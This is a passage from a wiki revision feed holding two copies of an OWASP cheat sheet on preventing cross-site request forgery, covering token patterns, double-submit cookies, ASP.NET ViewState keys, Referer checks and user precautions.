To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control, such as OWASP CSRFGuard, include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site. The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests. In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring. While this is the ideal approach, attempting to retrofit this pattern in existing applications requires significant development time and cost. CSRFGuard and similar solutions attempt to address this concern in a patch-like manner without required the re-design of key application components.&lt;br /&gt;
&lt;br /&gt;
In order for an attacker to successfully carry out a valid CSRF attack against an application that has similar characteristics as described&lt;br /&gt;
above (i.e. CSRF tokens on GET and POST requests, no explicitly enforcing HTTP method scoping), several actions are typically required:&lt;br /&gt;
&lt;br /&gt;
#The victim must be interacting with the application such that a valid CSRF token is generated.&lt;br /&gt;
#The CSRF token must be transmitted in a GET request by interacting with the web page&lt;br /&gt;
#A component with insight into (at least) the first line of the HTTP GET request must process the request at some point between (and including) the browser and the server&lt;br /&gt;
#This same component must capture the token in a repository that is accessible to an attacker (ex: server log files, browser history, etc.)&lt;br /&gt;
#The attacker must parse this repository and retrieve the token.&lt;br /&gt;
#The attacker needs to somehow know what user owns this exposed CSRF token&lt;br /&gt;
#The attacker needs to trick the target victim (i.e. the one owning the CSRF token) into interacting with an HTML document.&lt;br /&gt;
#The victim's session that holds the exposed token must still be valid (i.e. not invalidated, expired, idle/absolute timed-out, etc.).&lt;br /&gt;
&lt;br /&gt;
While placing CSRF tokens in GET requests does present a potential risk as described above, it is very minimal. The likelihood of successfully discovering and exploiting this vulnerability is significantly low. Coupled with strong session management practices (i.e. timeouts), frequent use of SSLv3/TLS, and network based services that do not log this mechanism, there is little risk to the CSRF token being exposed to an attacker. Even if the CSRF token is exposed and the attacker is somehow able to figure how the associated user, the token is only valid for the lifetime of the session. Ultimately, the acceptance of this risk as opposed to the cost of significant architecture design is up to the business.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article and implemented in OWASP CSRFGuard.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
CSRFGuard is a &amp;quot;reference implementation&amp;quot;. Developers are encouraged to leverage more tightly integrated solutions for performance (ex: speed of parsing HTML) and technical (ex: AJAX requests) challenges.&lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]] &lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Checking Referer Header =&lt;br /&gt;
&lt;br /&gt;
The Checking of the http Referer can be used to prevent CSRF.  The use of a checking the http Referer was used to patch the [http://www.kb.cert.org/vuls/id/643049 most dangerous csrf vulnerability] ever discovered.   This method is desirable for securing embedded network hardware such as modems, routers, and printers because it does not increase memory requirements.  The major limitation is that browsers will omit the Referer in the http header when they are being used over HTTPS.  This restriction does not apply for embedded network hardware because HTTPS is not used.  There are two known methods of bypass a Referer check.  A [http://secunia.com/advisories/22467/ CRLF vulnerability] in the http client could allow an attacker manipulate the HTTP request header and thus spoof the referer.  The other method is using XSS to write a form to a page on the target domain and then automatically submit the request. &lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, all stored cross-site scripting attacks and special case reflected cross-site scripting attacks can be used to defeat token based CSRF defenses, since a malicious XSS script can simply read the site generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish@solutionary.com&lt;br /&gt;
&lt;br /&gt;
Eric Sheridan - eric.sheridan@aspectsecurity.com&lt;br /&gt;
&lt;br /&gt;
Dave Wichers - dave.wichers@aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
[[Category:How_To]] [[Category:Cheatsheets]] [[Category:OWASP_Document]] [[Category:OWASP_Top_Ten_Project]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87321</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87321"/>
				<updated>2010-08-04T19:33:12Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control, such as OWASP CSRFGuard, include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site. The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests. In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring. While this is the ideal approach, attempting to retrofit this pattern in existing applications requires significant development time and cost. CSRFGuard and similar solutions attempt to address this concern in a patch-like manner without required the re-design of key application components.&lt;br /&gt;
&lt;br /&gt;
In order for an attacker to successfully carry out a valid CSRF attack against an application that has similar characteristics as described&lt;br /&gt;
above (i.e. CSRF tokens on GET and POST requests, no explicitly enforcing HTTP method scoping), several actions are typically required:&lt;br /&gt;
&lt;br /&gt;
#The victim must be interacting with the application such that a valid CSRF token is generated.&lt;br /&gt;
#The CSRF token must be transmitted in a GET request by interacting with the web page&lt;br /&gt;
#A component with insight into (at least) the first line of the HTTP GET request must process the request at some point between (and including) the browser and the server&lt;br /&gt;
#This same component must capture the token in a repository that is accessible to an attacker (ex: server log files, browser history, etc.)&lt;br /&gt;
#The attacker must parse this repository and retrieve the token.&lt;br /&gt;
#The attacker needs to somehow know what user owns this exposed CSRF token&lt;br /&gt;
#The attacker needs to trick the target victim (i.e. the one owning the CSRF token) into interacting with an HTML document.&lt;br /&gt;
#The victim's session that holds the exposed token must still be valid (i.e. not invalidated, expired, idle/absolute timed-out, etc.).&lt;br /&gt;
&lt;br /&gt;
While placing CSRF tokens in GET requests does present a potential risk as described above, it is very minimal. The likelihood of successfully discovering and exploiting this vulnerability is significantly low. Coupled with strong session management practices (i.e. timeouts), frequent use of SSLv3/TLS, and network based services that do not log this mechanism, there is little risk to the CSRF token being exposed to an attacker. Even if the CSRF token is exposed and the attacker is somehow able to figure how the associated user, the token is only valid for the lifetime of the session. Ultimately, the acceptance of this risk as opposed to the cost of significant architecture design is up to the business.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article and implemented in OWASP CSRFGuard.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
CSRFGuard is a &amp;quot;reference implementation&amp;quot;. Developers are encouraged to leverage more tightly integrated solutions for performance (ex: speed of parsing HTML) and technical (ex: AJAX requests) challenges.&lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]] &lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Checking Referer Header =&lt;br /&gt;
&lt;br /&gt;
The Checking of the http Referer can be used to prevent CSRF.  The use of a checking the http Referer was used to patch the [http://www.kb.cert.org/vuls/id/643049 most dangerous csrf vulnerability] ever discovered.   This method is desirable for securing embedded network hardware such as modems, routers, and printers because it does not increase memory requirements.  The major limitation is that browsers will omit the Referer in the http header when they are being used over HTTPS.  This restriction does not apply for embedded network hardware because HTTPS is not used.  There are two known methods of bypass this method of CSRF protection.  A [http://secunia.com/advisories/22467/ CRLF vulnerability] in the http client could allow an attacker manipulate the HTTP request header and thus spoof the referer.  The other method is using XSS to write a form to a page on the target domain and then automatically submit the request. &lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, all stored cross-site scripting attacks and special case reflected cross-site scripting attacks can be used to defeat token based CSRF defenses, since a malicious XSS script can simply read the site generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
